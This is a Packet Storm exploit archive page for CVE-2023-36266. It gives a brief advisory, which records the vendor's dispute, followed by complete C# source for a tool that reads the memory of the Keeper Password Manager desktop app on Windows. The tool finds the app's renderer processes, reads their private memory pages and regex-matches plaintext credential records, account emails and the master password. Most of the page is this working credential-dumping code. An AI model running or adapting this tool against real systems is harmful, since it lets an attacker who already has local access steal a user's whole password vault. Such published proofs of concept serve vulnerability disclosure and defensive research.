exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Keeper Security Desktop 16.10.2 / Browser Extension 16.5.4 Password Dumper

Keeper Security Desktop 16.10.2 / Browser Extension 16.5.4 Password Dumper
Posted Jul 31, 2023
Authored by H4rk3nz0

An issue was discovered in Keeper Password Manager for Desktop version 16.10.2, and the KeeperFill Browser Extensions version 16.5.4, that allows local attackers to gain sensitive information via plaintext password storage in memory after the user is already logged in, and may persist after logout. Note that the vendor disputes this for two reasons - the information is inherently available during a logged-in session when the attacker can read from arbitrary memory locations, and information only remains available after logout because of memory-management limitations of web browsers (not because the Keeper technology itself is retaining the information).

tags | exploit, web, arbitrary, local
advisories | CVE-2023-36266
SHA-256 | 8228457f02b7ab0fd7e392ec8e339789b9e311c048473f4d48761d9c915a58c0

Keeper Security Desktop 16.10.2 / Browser Extension 16.5.4 Password Dumper

Change Mirror Download
# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping
# Google Dork: NA
# Date: 22-07-2023
# Exploit Author: H4rk3nz0
# Vendor Homepage: https://www.keepersecurity.com/en_GB/
# Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html
# Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4
# Tested on: Windows
# CVE : CVE-2023-36266

using System;
using System.Management;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections.Generic;

// Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory
// This can persist after logout if the user has not explicitly enabled the option to 'clear process memory'
// As a result of this one can extract credentials & master password from a victim after achieving low priv access
// This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app.
// Github: https://github.com/H4rk3nz0/Peeper

static class Program
{
// To make sure we are targetting the right child process - check command line
public static string GetCommandLine(this Process process)
{
if (process is null || process.Id < 1)
{
return "";
}
string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}";
using (var searcher = new ManagementObjectSearcher(query))
using (var collection = searcher.Get())
{
var managementObject = collection.OfType<ManagementObject>().FirstOrDefault();
return managementObject != null ? (string)managementObject["CommandLine"] : "";
}
}

//Extract plain text credential JSON strings (regex inelegant but fast)
public static void extract_credentials(string text)
{
int index = text.IndexOf("{\"title\":\"");
int eindex = text.IndexOf("}");
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))");
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();

int match_cut = match.IndexOf("} ");
if (match_cut != -1 )
{
match = match.Substring(0, match_cut + "} ".Length).TrimEnd();
if (!stringsList.Contains(match) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n");
stringsList.Add(match);
}

} else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match + "\n");
stringsList.Add(match.TrimEnd());
}
index = text.IndexOf("{\"title\":\"", index + 1);
eindex = text.IndexOf("}", eindex + 1);
}
catch
{
return;
}

}
}

// extract account/email containing JSON string
public static void extract_account(string text)
{
int index = text.IndexOf("{\"expiry\"");
int eindex = text.IndexOf("}");
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)");
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
if ((match.Length > 2))
{
Console.WriteLine("->Account Record Found : " + match + "\n");
return;
}
index = text.IndexOf("{\"expiry\"", index + 1);
eindex = text.IndexOf("}", eindex + 1);
}
catch
{
return;
}
}

}

// Master password not available with SSO based logins but worth looking for.
// Disregard other data key entries that seem to match: _not_master_key_example
public static void extract_master(string text)
{
int index = text.IndexOf("data_key");
int eindex = index + 64;
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(data_key[ -~]+)");
var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})");
if (match_one.Replace("data_key", "").Length > 5)
{
if (!clean.IsMatch(match_one.Replace("data_key", "")))
{
Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n");
}

}
index = text.IndexOf("data_key", index + 1);
eindex = index + 64;
}
catch
{
return;
}

}
}

// Store extracted strings and comapre
public static List<string> stringsList = new List<string>();

// Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8
// Performs OpenProcess to get handle with necessary query permissions
static void Main(string[] args)
{
foreach (var process in Process.GetProcessesByName("keeperpasswordmanager"))
{
string commandline = GetCommandLine(process);
if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7"))
{
Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString());
Console.WriteLine("->Searching...\n");
IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id);
IntPtr address = new IntPtr(0x10000000000);
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0)
{
if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000)
{
byte[] buffer = new byte[(int)memInfo.RegionSize];
if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0)
{
string text = Encoding.ASCII.GetString(buffer);
extract_credentials(text);
extract_master(text);
extract_account(text);
}
}

address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64());
}

CloseHandle(processHandle);

}

}

}

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);

[DllImport("ntdll.dll")]
public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);

[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close